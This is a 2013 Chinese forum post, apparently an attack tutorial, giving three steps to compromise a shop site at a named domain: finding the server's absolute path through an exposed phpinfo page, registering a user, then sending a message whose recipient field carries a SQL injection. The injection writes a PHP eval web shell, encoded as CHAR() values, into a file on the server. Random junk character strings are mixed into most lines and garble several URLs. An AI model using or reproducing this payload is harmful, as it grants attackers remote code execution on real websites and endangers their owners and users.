第一个：想办法找到目标网站的绝对路径
2 }" j% Q* ?; E4 y1 n2 q9 m3 _& v0 T! I* [* \$ A' u- J
http://www.political-security.com/install/svinfo.php?phpinfo=true' F6 _6 f& N% ?* C8 u, o% P
1 G, R3 `' H4 ohttp:/www.political-security.com/core/api/shop_api.php5 H# Z5 m" D! F& W
, z {, h* x" g [- _5 T& }
http://www.political-security.co ... api_b2b_2_0_cat.php3 ~+ Y* X' h5 ]; z% ^- m
& B4 ?+ P. ~) Q2 u8 U8 {http://www.political-security.com/core/ap ... b_2_0_goodstype.php; L1 k2 ^& `6 A8 o- u) a! U; |0 c; s
& w/ l$ V# `6 U8 i+ Q9 v" Z
http://www.political-security.co ... i_b2b_2_0_brand.php( d+ Q5 T3 u% [0 Y. I0 D
第二个：注册一个普通用户. n3 J9 d* }6 p
' ?( Q/ H! ^, Z5 N
http://www.political-security.com/?passport-signup.html
4 k$ Q* x; R1 r2 l( @# F
6 q0 j' [' ~7 P2 Z7 R3 }2 U第三个： 发送消息
2 A. E2 W) s) Y+ E' Y' w
v$ ]+ v/ r2 S2 Y1 N Ohttp://www.political-security.com/?member-send.html1 G9 [5 u# v4 b( w0 ]) v+ b
发送给中填写
$ q$ N. B3 C l' m- Xantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对